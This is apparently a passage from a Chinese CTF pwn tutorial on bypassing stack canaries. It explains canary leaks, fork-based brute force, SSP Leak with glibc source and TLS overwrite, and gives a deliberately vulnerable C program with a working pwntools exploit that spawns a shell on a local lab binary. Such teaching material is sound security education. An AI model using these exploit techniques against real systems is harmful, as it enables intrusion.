src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B65.png" alt="CTF-PWN_Bypass安全机制5.png"></p><p>但 Canary 的位置也不是绝对的，需要具体情况具体分析</p><p>例如下面这个 32 位程序的例子：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B63.png" alt="CTF-PWN_Bypass安全机制3.png"></p><p>可以看到 <code>v7</code> 位于 <code>ebp - Ch</code> 的地方，而不是 EBP 上方的 4 字节（与 EBP 不相邻）</p><p>在栈中的样子：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B64.png" alt="CTF-PWN_Bypass安全机制4.png"></p><p>这里的 Canary 在栈中位于 EBP 上方的第 <code>(0xC - 0x0) / 4 = 3</code> 个位置</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B66.png" alt="CTF-PWN_Bypass安全机制6.png"></p><blockquote><p>Canary 一般有如下特点：</p><ol><li>十六进制通常以 <code>&#39;\x00&#39;</code> 结尾，例如：<code>0x29a30f00</code>，在内存中其实是 <code>0x00 0x0f 0xa3 0x29</code>，这样是为了与 Canary 前面的内容截断。也就是说在不溢出的情况下，我们无法通过 <code>printf()</code> 之类的函数将 Canary 打印出来，因为这些函数在遇到 Canary 第一字节的 <code>0x00</code> 就被截断了  </li><li>每次进程重启的 Canary 都不同，但是同一个进程中的不同线程的 Canary 是相同的，<em>也就意味着，在同一次程序的运行中，所有的 Canary 的值都是相同的</em></li></ol></blockquote><hr><h2 id="格式化字符串泄露-Canary"><a href="#格式化字符串泄露-Canary" class="headerlink" title="格式化字符串泄露 Canary"></a>格式化字符串泄露 Canary</h2><blockquote><p>如果存在格式化字符串漏洞，那么 Canary 保护基本等同于虚设，因为我们可以直接泄露出 Canary</p></blockquote><p>这种 Bypass 方法重点在于确定 Canary 在栈中的位置，泄露比较简单，因此不做过多解释</p><p>具体如何泄露，可以查看本站《<a href="262e948.html">格式化字符串漏洞与利用</a>》这篇文章</p><hr><h2 id="覆盖低字节输出-Canary"><a href="#覆盖低字节输出-Canary" class="headerlink" title="覆盖低字节输出 Canary"></a>覆盖低字节输出 Canary</h2><blockquote><p>前面提到 Canary 的十六进制数值通常以 <code>&#39;\x00&#39;</code> 结尾，而在内存中是小端序储存，例如：<code>0x29a30f00</code>，在内存中其实是 <code>0x00 0x0f 0xa3 0x29</code>，这样是为了让 <code>&#39;\x00&#39;</code> 截断 Canary 前面的数据，防止将 Canary 打印出来</p><p>那么同样的思路，<strong>如果我们能够覆盖 Canary 低字节的 <code>&#39;\x00&#39;</code>，就可以直接将 Canary 输出了</strong></p></blockquote><p>以一个例子说明：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token keyword">int</span> <span class="token function">getshell</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh\x00"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">init_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">setbuf</span><span class="token punctuation">(</span><span class="token constant">stdin</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setbuf</span><span class="token punctuation">(</span><span class="token constant">stdout</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">setbuf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">vuln_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> buf<span class="token punctuation">[</span><span class="token number">100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">read</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> <span class="token number">0x200</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">printf</span><span class="token punctuation">(</span>buf<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">init_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Welcome to uf4te!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">vuln_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">// gcc -m32 -no-pie -g -o test test.c</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>编译后保护机制如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B67.png" alt="CTF-PWN_Bypass安全机制7.png"></p><p>调试我们发现，Canary 在栈中的 EBP 上方第三个位置，Canary 下方相邻处有一条即将被 <code>puts(&quot;Welcome to uf4te!&quot;);</code> 输出的内容</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B68.png" alt="CTF-PWN_Bypass安全机制8.png"></p><p>计算一下我们输入的位置与他们的偏移，可以看到输入的起始地址在 <code>0xffffcd68</code> 处</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B69.png" alt="CTF-PWN_Bypass安全机制9.png"></p><p>与 Canary 距离 100 字节：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B610.png" alt="CTF-PWN_Bypass安全机制10.png"></p><p>因此第一次 <code>read(0, buf, 0x200);</code> 我们发送的 payload 为：<code>payload = b&#39;a&#39; * 100</code>，这样就刚好覆盖到 Canary 的上一个数据，然后我们用 <code>io.sendline(payload)</code> 来发送 payload</p><p>因为 <code>io.sendline()</code> 会在 payload 的结尾添加一个回车符，即：<code>&#39;0x0a&#39;</code>，相当于我们总共发送了 101 个字节，前 100 个字节到达 Canary 的位置，最后一个 <code>&#39;0x0a&#39;</code> 覆盖 Canary 的最低一字节</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B611.png" alt="CTF-PWN_Bypass安全机制11.png"></p><p>可以看到此时 Canary 的最低一字节不再是 <code>&#39;\x00&#39;</code> 而是 <code>&#39;\x0a&#39;</code></p><p>然后继续执行到 <code>printf(buf);</code> 的地方</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF-PWN_Bypass%E5%AE%89%E5%85%A8%E6%9C%BA%E5%88%B612.png" alt="CTF-PWN_Bypass安全机制12.png"></p><p>可以看到除了我们输入的 <code>&#39;a&#39;</code> 和 <code>&#39;\x0a&#39;</code> 外，程序还输出了一些别的数据，<code>&#39;\x0a&#39;</code> 以及其后的 3 字节：<code>0x0a 0x91 0x67 0x54</code> 就是修改后的 Canary 的值了</p><p>我们用泄露出的地址减去 <code>0x0a</code> 就是真正的 Canary 的值</p><p>由于在同一次运行中，Canary 的值是不会变的，因此第二次 <code>read(0, buf, 0x200);</code> 我们在覆盖时要用泄露出的 Canary 替换，保证不覆盖 Canary 的值</p><p>因此 exp 如下：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span><span class="token comment"># arch 可选 : i386 / amd64 / arm / mips</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'i386'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./test"</span><span class="token punctuation">)</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./test"</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>   <span class="token comment"># 只有本地才可调试，远程无法调试</span>        gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>        pause<span class="token punctuation">(</span><span class="token punctuation">)</span>getshell_addr <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"getshell"</span><span class="token punctuation">]</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">100</span><span class="token comment"># debug()</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">100</span><span class="token punctuation">)</span>Canary <span class="token operator">=</span> u32<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">0xa</span>   <span class="token comment"># 为了泄露出 Canary，其最低位被我们修改为 '\x0a'，因此减去 0xa 后才是真正的 Canary 的值</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Canary -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>Canary<span class="token punctuation">)</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">100</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>Canary<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">b'a'</span> <span class="token operator">*</span> <span class="token number">12</span>   <span class="token comment"># 填充 Canary 后距离返回地址还差 12 字节，因此再填充 b'a' * 12</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>getshell_addr<span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h2 id="one-by-one-逐字节爆破-Canary"><a href="#one-by-one-逐字节爆破-Canary" class="headerlink" title="one-by-one 逐字节爆破 Canary"></a>one-by-one 逐字节爆破 Canary</h2><blockquote><p>虽然每次进程重启的 Canary 都不同，但是同一个进程中的不同线程的 Canary 是相同的，并且<strong>通过 fork 函数创建的子进程的 Canary 也是相同的</strong>，同时 <em>Canary 的最低一字节为 <code>&#39;\x00&#39;</code> 是不会变的</em>，因此，我们可以考虑对 Canary 进行爆破</p></blockquote><p>以 64 位程序为例，64 位程序的 Canary 一般为 8 字节，同时最低一字节为 <code>&#39;\x00&#39;</code></p><p>因此相当于需要爆破高位的 7 字节，每一字节的取值范围在 <code>0 ~ 255</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CISCN2023-funcanary2.png" alt="CISCN2023-funcanary2.png"></p><p>例如上图中，通过 <code>fork()</code> 函数产生的 canary 金丝雀的值是固定不变的</p><blockquote><p>注意：</p><p>一般情况下，我们爆破 Canary 的过程中如果出现错误，就会导致程序崩溃，因此通常是不可行的</p><p>但是这里是通过 <code>fork()</code> 函数生成了子线程，<strong>子进程崩溃不会导致父进程退出</strong>，因此可以爆破</p></blockquote><p>具体例题见本站的《<a href="29b86fa0.html">【CISCN 2023】funcanary</a>》</p><hr><h2 id="SSP-Leak-绕过-Canary"><a href="#SSP-Leak-绕过-Canary" class="headerlink" title="SSP Leak 绕过 Canary"></a>SSP Leak 绕过 Canary</h2><blockquote><p>全称是 Stack Smashing Protect Leak，其实就是利用了我们前面提到的触发 Canary 后会输出：<code>*** stack smashing detected ***: terminated</code>，通过故意触发 Canary 保护并修改要输出的变量 <code>__libc_argv[0]</code> 的地址来实现任意地址读取</p><p><em>这个问题依赖于 Glibc 的版本，在 Ubuntu 22.04 的 Glibc 2.35 中已经修复，如果想在本地复现就需要更换 Glibc 版本，Glibc 2.26 以后所有修改，目前已知 Glibc 2.25 及以下版本都未修复该漏洞</em> </p><p><mark>注意：SSP Leak 只能泄露内存中的数据，但无法获得 shell</mark></p></blockquote><p>首先分析一下触发 Canary 后执行的 <code>__stack_chk_fail</code> 函数</p><p>由于这个函数是 Glibc 中的，想查看需要下载 Glibc 源码，下载地址：<a href="https://ftp.gnu.org/gnu/glibc/">Index of &#x2F;gnu&#x2F;glibc</a></p><p>先来看看旧的版本 Glibc 2.19 中的实现</p><p>在 <code>./debug/stack_chk_fail.c</code> 下找到 <code>__stack_chk_fail</code> 函数的源码：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// ./glibc-2.19/debug/stack_chk_fail.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token keyword">extern</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>__libc_argv attribute_hidden<span class="token punctuation">;</span><span class="token keyword">void</span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>noreturn<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token function">__stack_chk_fail</span> <span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">__fortify_fail</span> <span class="token punctuation">(</span><span class="token string">"stack smashing detected"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在 <code>./debug/fortify_fail.c</code> 下找到 <code>__fortify_fail</code> 函数的源码：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// ./glibc-2.19/debug/fortify_fail.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token keyword">extern</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>__libc_argv attribute_hidden<span class="token punctuation">;</span><span class="token keyword">void</span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>noreturn<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token function">__fortify_fail</span> <span class="token punctuation">(</span>msg<span class="token punctuation">)</span>     <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span>msg<span class="token punctuation">;</span><span class="token punctuation">&#123;</span>  <span class="token comment">/* The loop is added only to keep gcc happy.  */</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token function">__libc_message</span> <span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"*** %s ***: %s terminated\n"</span><span class="token punctuation">,</span>    msg<span class="token punctuation">,</span> __libc_argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">?</span><span class="token operator">:</span> <span class="token string">"&lt;unknown>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">libc_hidden_def</span> <span class="token punctuation">(</span>__fortify_fail<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>逻辑很清晰，<code>__stack_chk_fail</code> 函数会调用 <code>__fortify_fail</code> 函数输出刚刚的 <code>*** stack smashing detected ***: terminated</code> 信息</p><p>但是细心一点会发现，这里存在两个 <code>&#39;%s&#39;</code>，后面还有个 <code>__libc_argv[0]</code> 参数，因此<em>实际上是输出了 <code>msg</code> 和 <code>__libc_argv[0]</code> 两个参数的内容</em></p><blockquote><p><code>msg</code> 是固定的 <code>&quot;stack smashing detected&quot;</code>，<code>__libc_argv[0]</code> 默认为程序名</p></blockquote><p>因此，如果我们能修改 <code>__libc_argv[0]</code> 的值为某个地址，就可以将该地址上的信息在 <code>&quot;*** %s ***: %s terminated\n&quot;</code> 中输出出来</p><p>从 Glibc 2.26 开始，增加了一个 <code>need_backtrace</code> 变量来控制输出的信息，这时 <code>__libc_argv[0]</code> 默认为 <code>&lt;unknown&gt;</code>，源码如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// ./glibc-2.26/debug/fortify_fail.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdbool.h></span></span><span class="token keyword">extern</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>__libc_argv attribute_hidden<span class="token punctuation">;</span><span class="token keyword">void</span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>noreturn<span class="token punctuation">)</span><span class="token punctuation">)</span> internal_function<span class="token function">__fortify_fail_abort</span> <span class="token punctuation">(</span><span class="token keyword">_Bool</span> need_backtrace<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span>msg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token comment">/* The loop is added only to keep gcc happy.  Don't pass down     __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]     may point to the corrupted stack.  */</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token function">__libc_message</span> <span class="token punctuation">(</span>need_backtrace <span class="token operator">?</span> <span class="token punctuation">(</span>do_abort <span class="token operator">|</span> do_backtrace<span class="token punctuation">)</span> <span class="token operator">:</span> do_abort<span class="token punctuation">,</span>    <span class="token string">"*** %s ***: %s terminated\n"</span><span class="token punctuation">,</span>    msg<span class="token punctuation">,</span>    <span class="token punctuation">(</span>need_backtrace <span class="token operator">&amp;&amp;</span> __libc_argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token constant">NULL</span>     <span class="token operator">?</span> __libc_argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">:</span> <span class="token string">"&lt;unknown>"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>noreturn<span class="token punctuation">)</span><span class="token punctuation">)</span> internal_function<span class="token function">__fortify_fail</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span>msg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">__fortify_fail_abort</span> <span class="token punctuation">(</span>true<span class="token punctuation">,</span> msg<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">libc_hidden_def</span> <span class="token punctuation">(</span>__fortify_fail<span class="token punctuation">)</span><span class="token function">libc_hidden_def</span> <span class="token punctuation">(</span>__fortify_fail_abort<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>但是，Ubuntu 22.04 使用的是 Glibc 2.35，在该 Glibc 版本中不存在 <code>__libc_argv[0]</code> 参数了，源码如下：</strong></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// ./glibc-2.35/debug/stack_chk_fail.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">void</span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>noreturn<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token function">__stack_chk_fail</span> <span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">__fortify_fail</span> <span class="token punctuation">(</span><span class="token string">"stack smashing detected"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">strong_alias</span> <span class="token punctuation">(</span>__stack_chk_fail<span class="token punctuation">,</span> __stack_chk_fail_local<span class="token punctuation">)</span><span class="token comment">// ./glibc-2.35/debug/fortify_fail.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">void</span><span class="token keyword">__attribute__</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>noreturn<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token function">__fortify_fail</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span>msg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token comment">/* The loop is added only to keep gcc happy.  */</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token function">__libc_message</span> <span class="token punctuation">(</span>do_abort<span class="token punctuation">,</span> <span class="token string">"*** %s ***: terminated\n"</span><span class="token punctuation">,</span> msg<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">libc_hidden_def</span> <span class="token punctuation">(</span>__fortify_fail<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p><em>因此如果想在 Ubuntu 22.04 或较新版本 Glibc 的机器上进行本地测试，需要更换 Glibc 版本，建议 Glibc 2.25 以下版本</em></p></blockquote><p>对于 <code>__libc_argv[0]</code> 的地址，在 GDB 中可以直接查看：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp12.png" alt="华为杯2023-ez_ssp12.png"></p><p>另外，还需要了解一个重要函数 <code>environ</code></p><p><code>environ</code> 存在于 libc 中，是一个全局变量，储存着系统的环境变量，因此 <code>environ</code> 是连接 libc 地址与栈地址的桥梁</p><p>系统的环境变量在程序的栈中长这样：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E5%8D%8E%E4%B8%BA%E6%9D%AF2023-ez_ssp15.png" alt="华为杯2023-ez_ssp15.png"></p><blockquote><p>通过 libc 偏移计算得到 <code>environ</code> 的真实地址后，泄露 <code>environ</code> 的真实地址处存放的值，就可以得到保存在栈中的环境变量的真实地址</p><p>通过环境变量的首地址与栈上其他位置的偏移，我们就可以得到栈上任意变量的地址</p><p><em>配合 SSP Leak，虽然我们不能直接获得 shell，但是可以实现栈上的任意地址读</em></p></blockquote><p>具体例题见本站的《<a href="12245599.html">【华为杯 2023】ez_ssp</a>》</p><hr><h2 id="劫持-stack-chk-fail-绕过-Canary"><a href="#劫持-stack-chk-fail-绕过-Canary" class="headerlink" title="劫持 __stack_chk_fail 绕过 Canary"></a>劫持 <code>__stack_chk_fail</code> 绕过 Canary</h2><blockquote><p>Canary 的机制就是检测到溢出后执行 <code>__stack_chk_fail</code> 函数是程序崩溃，因此如果我们可以劫持 <code>__stack_chk_fail</code> 函数，例如将 <code>__stack_chk_fail</code> 函数的 GOT 表地址改为后门函数的地址，那么触发 Canary 后就会执行后门函数了</p><p>使用条件：<br><mark>需要存在格式化字符串漏洞</mark></p></blockquote><p>具体例题见本站的《<a href="a0efa060.html">【BJDCTF 2nd】r2t4</a>》</p><hr><h2 id="修改-TLS-结构体控制-Canary"><a href="#修改-TLS-结构体控制-Canary" class="headerlink" title="修改 TLS 结构体控制 Canary"></a>修改 TLS 结构体控制 Canary</h2><blockquote><p>TLS 全称为 Thread Local Storage，是一种线程私有的数据存储方式，每个线程都有自己的局部存储空间，可以在其中存储线程私有的数据</p><p>因为 Canary 会被储存在 TLS 中，在函数返回前会使用这个值进行对比，如果溢出的长度足够大，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过</p><p>使用条件：<br><mark>1. 溢出字节够大，通常至少一个 page（4K）</mark><br><mark>2. 创建一个线程，在线程内栈溢出</mark></p></blockquote><p>在 64 位程序中，TLS 由 FS 寄存器指向，通常为 <code>FS:28h</code></p><p>在 32 位程序中，TLS 由 GS 寄存器指向，通常为 <code>GS:14h</code></p><p>TLS 在 Glibc 中的实现为 <code>tcbhead_t(TCB)</code> 结构体，其中 <code>stack_guard</code> 变量存储的值就是 Canary，其结构体定义如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">typedef</span> <span class="token keyword">struct</span><span class="token punctuation">&#123;</span>  <span class="token keyword">void</span> <span class="token operator">*</span>tcb<span class="token punctuation">;</span>                <span class="token comment">/* Pointer to the TCB.  Not necessarily the                           thread descriptor used by libpthread.  */</span>  <span class="token class-name">dtv_t</span> <span class="token operator">*</span>dtv<span class="token punctuation">;</span>  <span class="token keyword">void</span> <span class="token operator">*</span>self<span class="token punctuation">;</span>                <span class="token comment">/* Pointer to the thread descriptor.  */</span>  <span class="token keyword">int</span> multiple_threads<span class="token punctuation">;</span>  <span class="token keyword">int</span> gscope_flag<span class="token punctuation">;</span>  <span class="token class-name">uintptr_t</span> sysinfo<span class="token punctuation">;</span>  <span class="token class-name">uintptr_t</span> stack_guard<span class="token punctuation">;</span>    <span class="token comment">// 储存 Canary 的值</span>  <span class="token class-name">uintptr_t</span> pointer_guard<span class="token punctuation">;</span>  <span class="token keyword">unsigned</span> <span class="token keyword">long</span> <span class="token keyword">int</span> vgetcpu_cache<span class="token punctuation">[</span><span class="token 